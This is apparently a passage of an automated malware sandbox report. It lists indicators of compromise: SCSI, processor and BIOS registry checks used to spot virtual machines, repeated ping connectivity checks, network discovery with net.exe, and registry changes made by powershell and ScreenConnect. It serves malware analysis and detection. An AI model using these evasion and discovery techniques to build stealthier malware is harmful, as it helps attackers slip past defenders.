Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tftp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	L.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IMG001.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tftp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	VBVEd6f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9758xBqgE1azKnB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	333.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	arp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7mpPLxE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vg9qcBa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fontdrvhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7mpPLxE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9758xBqgE1azKnB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	route.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FaceBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GuidanceConnectors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 34 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
6104	PING.EXE
1516	PING.EXE
3572	PING.EXE
5152	PING.EXE
6872	PING.EXE
2108	PING.EXE
1288	PING.EXE
4036	PING.EXE
4424	PING.EXE
4896	PING.EXE
6808	PING.EXE
2156	PING.EXE
6940	PING.EXE
6512	PING.EXE
5780	PING.EXE
6212	PING.EXE
5488	PING.EXE
6388	PING.EXE
1476	PING.EXE
936	PING.EXE
4548	PING.EXE
5808	PING.EXE
7056	PING.EXE
548	PING.EXE
3404	PING.EXE
7004	PING.EXE
6052	PING.EXE
1272	PING.EXE
6140	PING.EXE
1680	PING.EXE
3440	PING.EXE
3988	PING.EXE
1584	PING.EXE
1372	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral3/files/0x00280000000451d1-500.dat	nsis_installer_2
behavioral3/files/0x0029000000045233-1430.dat	nsis_installer_1
behavioral3/files/0x0029000000045233-1430.dat	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 64 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0054	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\DeviceDesc	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038	Process not Found
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0018	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\ConfigFlags	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\000A\	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0018	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0003	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\CompatibleIDs	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004C	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004	Process not Found

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	VBVEd6f.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	VBVEd6f.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
1272	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
1888	wmic.exe

Discovers systems in the same network 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
6672	net.exe
2848	net.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 2 IoCs

pid	Process
2256	taskkill.exe
4964	taskkill.exe

Modifies data under HKEY_USERS 57 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\25\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133771237894115772"	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
